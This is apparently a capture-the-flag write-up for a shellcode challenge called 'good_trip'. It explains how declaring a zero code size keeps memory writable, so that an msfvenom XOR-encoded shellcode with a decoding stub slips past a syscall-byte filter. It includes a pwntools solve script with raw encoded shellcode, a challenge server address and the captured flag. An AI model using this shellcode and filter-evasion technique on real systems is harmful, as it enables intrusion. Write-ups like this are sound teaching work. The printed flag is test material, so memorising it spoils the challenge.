The code creates a virtual memory of size 0x1000 at a fixed virtual address of 0x1337131369. It then prompts us for the code size and accepts an integer. This input is checked to ensure that it is between 0 and 4096. We are then prompted by the code, and allowed to enter 2457 bytes. Then, mprotect is called to change the first local_14 bytes of our bytecode from RWX permission to RX permission. Then, our bytecode undergoes a check using filter. If it is deemed as safe, then our code gets executed.
filter iterates through all the bytes in our bytecode to ensure that we do not have any syscall, sysenter or int 0x80 instructions.
The key observation to make is that the number of bytes which change from RWX to RX permission depends on the size of the code we gave as our first input. If we lied that we had 0 bytes of code, then all our bytecode would retain their RWX permissions. So the solution is to enter 0 as our first input. For our second input, we can encode shellcode and add a decoding stub.
I then encoded this payload using the msfvenom x64/xor encoder using the following command: msfvenom -a x64 --platform linux -e x64/xor -f c < shellcode.bin
With the encoded payload, we can then make a solve script to send it. As we don't use libc for this challenge, I didn't include it in the script.
from pwn import*# fill in binary nameelf = context.binary =ELF("./good_trip")# fill in libc name# libc = ELF("./libc.so.6")if args.REMOTE:# fill in remote address p =remote("172.210.129.230", 1351)else:# p = elf.process(env = {"LD_PRELOAD": libc.path}) p = elf.process()# create exploit herep.sendlineafter(b"size >> ", b"0")payload =b"\x48\x31\xc9\x48\x81\xe9\xfb\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x63\xf1\xde\xe5\xa7\xa1\x9a\x8a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x2b\x4d\xde\xfd\xb4\x96\x89\x8a\x63\xf1\x96\xd4\x51\xf7\xd2\x35\x4c\x93\xb7\x8b\x88\x8e\xe9\xe2\x34\xa5\x81\xad\x60\x61\xa1\x8a\x63\xf1\x96\xd4\x75\xae\x9f\x8a"# pause()p.sendlineafter(b"code >> ", payload)p.interactive()# AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}